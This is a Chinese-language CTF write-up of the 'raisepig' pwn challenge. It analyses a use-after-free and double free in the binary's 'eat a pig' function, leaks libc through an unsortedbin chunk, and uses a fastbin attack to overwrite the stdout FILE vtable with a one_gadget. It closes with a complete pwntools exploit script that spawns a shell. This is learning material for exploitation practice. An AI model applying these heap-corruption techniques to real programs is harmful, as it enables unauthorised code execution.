kir[A]'s 小黑屋

qwb-pwn-raisepig

字数统计: 1.2k阅读时长: 6 min
2018/04/12 Share

raisepig

跟pwnable.tw的Secret Garden非常似。菜单有5个选项:

1
2
3
4
5
puts("1 . Raise a pig ");
puts("2 . Visit pigs ");
puts("3 . Eat a pig");
puts("4 . Eat the whole Pig Farm");
puts("5 . Leave the Farm");

IDA中建一个pig的结构体:

1
2
3
4
5
00000000 pigs            struc ; (sizeof=0x28, mappedto_6)
00000000 inuse dq ?
00000008 name dq ?
00000010 type dq 3 dup(?)
00000028 pigs ends

漏洞点在Eat a pig,inuse位清0,free掉name,在free前仅仅检查了pig_list是否存在,并且没有在free后对指针进行清空,存在UAF,可以double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 eat_one()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( pig_num )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &v1);
if ( v1 > 0x63 || !pig_list[v1] ) // 没有检查inuse
{
puts("Invalid choice");
return 0LL;
}
srand(0);
LODWORD(pig_list[v1]->inuse) = 0;
free((void *)pig_list[v1]->name);
}
else
{
puts("No pig");
}
return 0LL;
}

Eat the whole Pig Farm会free掉所有还存在的pig,并且pig_list中指针清零。

1
2
3
4
5
6
7
8
9
for ( i = 0; i <= 0x63; ++i )
{
if ( pig_list[i] && !LODWORD(pig_list[i]->inuse) )
{
free(pig_list[i]);
pig_list[i] = 0LL;
--pig_num;
}
}

首先要泄露出libc的地址,分配一个满足unsortedbin大小的chunk,然后free掉,然后再申请一个同样大小的堆,由于是用read读入的,输入结束没有\x00,name填满8字节,打印的时候就会把后面bk的内容打印出来。之后可以考虑使用fastbin attack改写__malloc_hook或者__free_hook为one gadget。

__malloc_hook附近找到一个0x70大小的位置,然而本题环境使用malloc是没法达到one gadget执行需求。重复free同一个内存能触发malloc_printerr, 并调用malloc。然而触发malloc_printerr或直接调用malloc都getshell失败。

可行姿势为:利用fastbin attack攻击Stdout的file结构_IO_2_1_stdout_,更改stdoutvtable指向one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdout_
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f23b5af66a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f23b5af66a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f23b5af58e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f23b5af7780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f23b5af57a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f23b5af46e0 <_IO_file_jumps> <-- 修改这里指向我们伪造的vtable
}

<_IO_file_jumps>0x7f23b5af66f8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/32a 0x7f23b5af6620
0x7f23b5af6620 <_IO_2_1_stdout_>: 0xfbad2887 0x7f23b5af66a3 <_IO_2_1_stdout_+131>
0x7f23b5af6630 <_IO_2_1_stdout_+16>: 0x7f23b5af66a3 <_IO_2_1_stdout_+131> 0x7f23b5af66a3 <_IO_2_1_stdout_+131>
0x7f23b5af6640 <_IO_2_1_stdout_+32>: 0x7f23b5af66a3 <_IO_2_1_stdout_+131> 0x7f23b5af66a3 <_IO_2_1_stdout_+131>
0x7f23b5af6650 <_IO_2_1_stdout_+48>: 0x7f23b5af66a3 <_IO_2_1_stdout_+131> 0x7f23b5af66a3 <_IO_2_1_stdout_+131>
0x7f23b5af6660 <_IO_2_1_stdout_+64>: 0x7f23b5af66a4 <_IO_2_1_stdout_+132> 0x0
0x7f23b5af6670 <_IO_2_1_stdout_+80>: 0x0 0x0
0x7f23b5af6680 <_IO_2_1_stdout_+96>: 0x0 0x7f23b5af58e0 <_IO_2_1_stdin_>
0x7f23b5af6690 <_IO_2_1_stdout_+112>: 0x1 0xffffffffffffffff
0x7f23b5af66a0 <_IO_2_1_stdout_+128>: 0xa000000 0x7f23b5af7780 <_IO_stdfile_1_lock>
0x7f23b5af66b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0
0x7f23b5af66c0 <_IO_2_1_stdout_+160>: 0x7f23b5af57a0 <_IO_wide_data_1> 0x0
0x7f23b5af66d0 <_IO_2_1_stdout_+176>: 0x0 0x0
0x7f23b5af66e0 <_IO_2_1_stdout_+192>: 0xffffffff 0x0
0x7f23b5af66f0 <_IO_2_1_stdout_+208>: 0x0 0x7f23b5af46e0 <_IO_file_jumps>
0x7f23b5af6700 <stderr>: 0x7f23b5af6540 <_IO_2_1_stderr_> 0x7f23b5af6620 <_IO_2_1_stdout_>
0x7f23b5af6710 <stdin>: 0x7f23b5af58e0 <_IO_2_1_stdin_> 0x7f23b5751b70 <__gcc_personality_v0>

很好彩,在_IO_2_1_stdout_+0x9d处有可利用位置

IO_jump_t中保存了一些函数指针,标准IO函数中会调用这些函数指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

printf是通过_IO_file_xsputn实现的,fake_vtable[7]放入one_gadget,调用printf的时候就可以getshell。下面开始构造payload:

1
2
3
4
5
pwndbg> x/32gx 0x7f23b5af6620+0x9d+3
0x7f23b5af66c0 <_IO_2_1_stdout_+160>: 0x00007f23b5af57a0 0x0000000000000000
0x7f23b5af66d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f23b5af66e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f23b5af66f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f23b5af46e0 --> vtable

构造如下:

1
payload = 'a'*3 + p64(0)*2 + p64(0xffffffff) + p64(0)*2 + p64(fake_vtable)

由于没有泄露heap地址,直接利用本次写入one gadget到<_IO_2_1_stdout_+208>,那么fake_vtable地址为<_IO_2_1_stdout_+208-7*8>

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#coding=utf8
from pwn import *
context.log_level = 'debug'

p = process('./raisepig2')
elf = ELF('./raisepig2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

def add(namelen,name,pigtype,shell=0):
p.sendlineafter('Your choice : ','1')
p.sendlineafter('Length of the name :',str(namelen))
p.sendafter('The name of pig :',name)
if shell == 0:
p.sendlineafter('The type of the pig :',pigtype)

def visit():
p.sendlineafter('Your choice : ','2')

def eat(idx):
p.sendlineafter('Your choice : ','3')
p.sendlineafter('Which pig do you want to eat:',str(idx))

def eat_all():
p.sendlineafter('Your choice : ','4')

# leak libc addr
add(0x100,'0','0')
add(0x28,'1','1')
eat(0)
eat(1)
add(0x100,'2'*8,'2')
visit()
p.recvuntil('22222222')
libc.address = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x3c4b20 - 88
success('0x%x' % libc.address)
success('0x%x' % libc.symbols['_IO_2_1_stdout_'])

# fastbin attack
add(0x60,'3','3')
add(0x60,'4','4')
eat(3)
eat(4)
eat(3)

add(0x60,p64(libc.symbols['_IO_2_1_stdout_']+0x9d),'5')
#add(0x60,p64(libc.symbols["__malloc_hook"]-0x23),'5')
add(0x60,'6','6')
add(0x60,'7','7')

one_gadget = libc.address + 0x4526a

payload = "\x00"*3
payload += 2*p64(0)
payload += p64(0xffffffff)
payload += p64(0)
payload += p64(one_gadget)
payload += p64(libc.symbols['_IO_2_1_stdout_']+0x98)
add(0x60,payload,'8',1)

#add(0x60,'a'*0x13+p64(one_gadget),'8')

p.interactive()

CATALOG
  1. 1. raisepig